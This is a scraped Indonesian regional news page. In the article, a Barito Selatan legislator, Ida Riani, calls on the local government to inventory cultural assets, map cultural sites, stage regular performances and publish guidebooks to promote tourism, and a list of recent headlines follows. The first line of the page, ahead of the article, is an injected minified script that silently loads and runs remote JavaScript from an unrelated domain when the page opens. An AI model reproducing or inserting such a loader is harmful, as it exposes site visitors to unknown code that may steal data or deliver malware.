(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kembangkan Aset Wisata Barsel, Pemerintah Perlu Inventarisir Potensi Budaya


BUNTOK, DPRD Kabupaten Barito Selatan (Barsel) meminta pemerintah daerah lebih jeli dalam melihat peluang dan potensi pengembangan kebudayaan. Pasalnya tanpa adanya pengawasan dan pelaksanaan inventarisir, dikhawatirkan kebudayaan lokal tidak terpromosikan. Bahkan jika akhirnya diklaim oleh daerah dan negara lain.

“Memang saat ini pengawasan dari pemerintah daerah sangat bagus. Namun masih ada beberapa kelemahan yang harus diperbaiki seperti dalam hal inventarisir serta pelaksanaan event untuk kebudayaan lokal,” kata anggota DPRD Barsel Ida Riani kepada Kanalkalimantan.com belum lama ini.

Ia juga mengatakan, mendorong agar dinas teknis yang terkait akan hal ini kiranya untuk bisa berupaya lebih optimal dalam pengembangan kebudayaan. Selama ini untuk pengembangan kebudayaan, terutama kesenian daerah, masih dilaksanakan pada hal-hal bersifat umum.

“Memang untuk kesenian, pembinaan untuk sanggar tari yang ada di Barsel sudah maksimal. Tapi perlu ada kreativitas untuk menghidupkan kebudayaan serta kesenian, agar dikenal oleh  masyarakat luar daerah dan lokal. Pihak teknis juga harus lebih kreatif dimana dapat dibuat peta situs budaya yang ada di Barsel,” jelas Ida.

Mengingat upaya tersebut akan mampu menarik minat wisatawan berkunjung. Pun apabila ada agenda pementasan kesenian secara berkala, tentunya akan menjadi warna tersendiri bagi pengembangan wisata di wilayah setempat. “Misalnya seperti makam tokoh adat dan lokasi tempat ritual adat yang ada di Barsel. Dimana situs budaya tersebut dapat dijadikan tempat pementasan seni dan budaya, dan diagendakan serta dijadwalkan,” ujar Ida.

Ia menambahakan, dengan adanya jadwal pelaksanaan serta agenda dan promosi yang baik, tentunya dapat menarik minat wisatawan dari luar daerah. Maka pihak teknis agar dapat membuat buku panduan tentang kekayaan kesenian dan kebudayaan. Buku itu dapat disebarkan ke masyarakat umum, sejumlah sekolah dan perpustakaan.

Itu bertujuan menyosialisasikan ragam kebudayaan kepada para pelajar, dengan tujuan dapat memahami dan menghormati budaya sendiri. ”Akan percuma apabila sosialisasi hanya disebarkan ke daerah lain, sementara orang daerah sendiri kurang tahu dengan kebudayaan asli di tempatnya,” pungkas Ida.(digdo)

Reporter : Digdo
Editor : Chell

Desy Arfianty

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

9 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

11 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

12 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

12 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

16 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

16 jam ago

This website uses cookies.